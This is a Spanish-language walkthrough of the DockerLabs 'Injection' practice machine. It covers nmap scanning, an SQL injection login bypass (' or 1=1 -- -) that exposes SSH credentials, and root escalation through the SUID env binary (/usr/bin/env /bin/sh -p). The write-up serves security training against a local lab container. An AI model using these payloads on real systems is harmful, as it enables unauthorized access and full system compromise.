> For the complete documentation index, see [llms.txt](https://brias.gitbook.io/brias/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://brias.gitbook.io/brias/dockerlabs/dificultad-facil/injection.md).

# Injection

### **1. Despliegue de la máquina**

#### **1.1. Descarga**

Accedemos a la web oficial de [DockerLabs](https://dockerlabs.es/), buscamos la máquina **Injection** y pulsamos en el botón de descarga. Esto nos redirige a un enlace de Mega, desde donde descargamos un archivo comprimido que contiene tanto la imagen de la máquina como el script necesario para su ejecución.

#### **1.2. Descompresión**

Utilizamos la herramienta `7z` para descomprimir el archivo:

```bash
7z x injection.zip
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2F4GJ5MvbizYtsAteV1XGl%2FPasted%20image%2020250628092915.png?alt=media&amp;token=987a24ca-1830-4ead-9fea-7b0af2362f0c" alt=""><figcaption></figcaption></figure>

#### **1.3. Ejecución**

Ejecutamos el script `auto_deploy.sh` para desplegar la máquina en Docker:

```bash
bash auto_deploy.sh injection.tar
```

Al finalizar, el script nos proporciona la dirección IP interna de la máquina (`172.17.0.2`), que utilizaremos para interactuar con ella.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FEvNV3dPKRz9DxwSq7UkU%2FPasted%20image%2020250628093009.png?alt=media&amp;token=18014659-971f-49ae-a57f-0b31b601f7d4" alt=""><figcaption></figcaption></figure>

### **2. Reconocimiento**

#### **2.1. Verificación de conectividad**

Verificamos la conectividad con la máquina utilizando el comando `ping`:

```bash
ping -c 1 172.17.0.2
```

El valor `TTL=64` indica que el sistema operativo es **Linux**.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FlkiX3Ma9VaR0v9YvEv1u%2FPasted%20image%2020250628093206.png?alt=media&amp;token=a170ef8d-24d5-49a3-84de-d5c45390b348" alt=""><figcaption></figcaption></figure>

#### **2.2. Escaneo de puertos**

Realizamos un escaneo de puertos abiertos con `nmap`:

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG allPorts
```

**Resultados:**

* **Puerto 22:** `SSH`.
* **Puerto 80:** `HTTP`.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FJgqaqH78FFiR4lPqvAqb%2FPasted%20image%2020250628093239.png?alt=media&amp;token=0092d9ff-3a5b-4d91-a7af-555c3c233960" alt=""><figcaption></figcaption></figure>

#### **2.3. Escaneo detallado**

Ejecutamos un escaneo más exhaustivo para identificar servicios y versiones que se están ejecutando en cada uno de los puertos:

```bash
nmap -p22,80 -sCV 172.17.0.2 -oN targeted
```

**Resultados:**

* **Puerto 22:** OpenSSH 8.9p1.
* **Puerto 80:** Apache httpd 2.4.52.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FNmHBHHNTL6zqLxMdwrZt%2FPasted%20image%2020250628093322.png?alt=media&amp;token=a90d4207-3532-4c27-a56e-b07d5fece1cb" alt=""><figcaption></figcaption></figure>

#### **2.4. Análisis del servicio web**

Accedemos al servicio web vía navegador (`http://172.17.0.2`) y encontramos un panel de inicio de sesión.

Dado que el nombre de la máquina es **Injection**, sospechamos que es vulnerable a una **Inyección SQL**.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FO5tjtZsBiM1w1nVrS5tQ%2FPasted%20image%2020250628093354.png?alt=media&amp;token=02fa3872-bb28-4657-b690-8744b9cde329" alt=""><figcaption></figcaption></figure>

### **3. Explotación**

#### **3.1. Inyección SQL**

Utilizamos la siguiente entrada en los campos de usuario y contraseña para explotar la vulnerabilidad:

```sql
' or 1=1 -- -
```

**Explicación:**

* `'`: Cierra la cadena de texto en la consulta SQL.
* `or 1=1`: Siempre evalúa como verdadero, evitando la validación de credenciales.
* `-- -`: Comenta el resto de la consulta, ignorando cualquier validación adicional.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FcOv11UR0efO5bbDerdHA%2FPasted%20image%2020250628093413.png?alt=media&amp;token=773f9650-0153-44e0-bffc-0b84dbd6383c" alt=""><figcaption></figcaption></figure>

**Resultado:** La inyección es exitosa y obtenemos credenciales para conectarnos por SSH.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FCvDZvpSiL3uhmXVKWti7%2FPasted%20image%2020250628093421.png?alt=media&amp;token=ad3aaa50-f73c-485a-b187-def09578f52d" alt=""><figcaption></figcaption></figure>

#### **3.2. Acceso por SSH**

Utilizamos las credenciales obtenidas para acceder por SSH:

```bash
ssh dylan@172.17.0.2
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2F1VBd0W7wqgtvjhwiybHs%2FPasted%20image%2020250628093456.png?alt=media&amp;token=6fb7988a-9289-48e5-8409-de5dbf0f1510" alt=""><figcaption></figcaption></figure>

### **4. Escalada de privilegios**

#### **4.1. Búsqueda de binarios SUID**

Buscamos binarios con permisos **SUID** que permitan escalar privilegios:

```bash
find / -perm -4000 2>/dev/null
```

El binario `/usr/bin/env` puede ser ejecutado como `root` sin proporcionar contraseña.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2Fr2ZLIbCWXmLqsIPcVah1%2FPasted%20image%2020250628093641.png?alt=media&amp;token=f67d6268-648d-4494-9e0f-118e707aae08" alt=""><figcaption></figcaption></figure>

#### **4.2. Explotación con GTFOBins**

Consultamos [GTFOBins](https://gtfobins.github.io/gtfobins/env/) para explotar el binario `env`:

```bash
/usr/bin/env /bin/sh -p
```

**Resultado:** Obtenemos una shell como `root`, completando la explotación de la máquina.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FZnIFeshVdJtH9U906k84%2FPasted%20image%2020250628093937.png?alt=media&amp;token=430cc11c-7be7-4f54-a5ca-646c2ba62fd1" alt=""><figcaption></figcaption></figure>
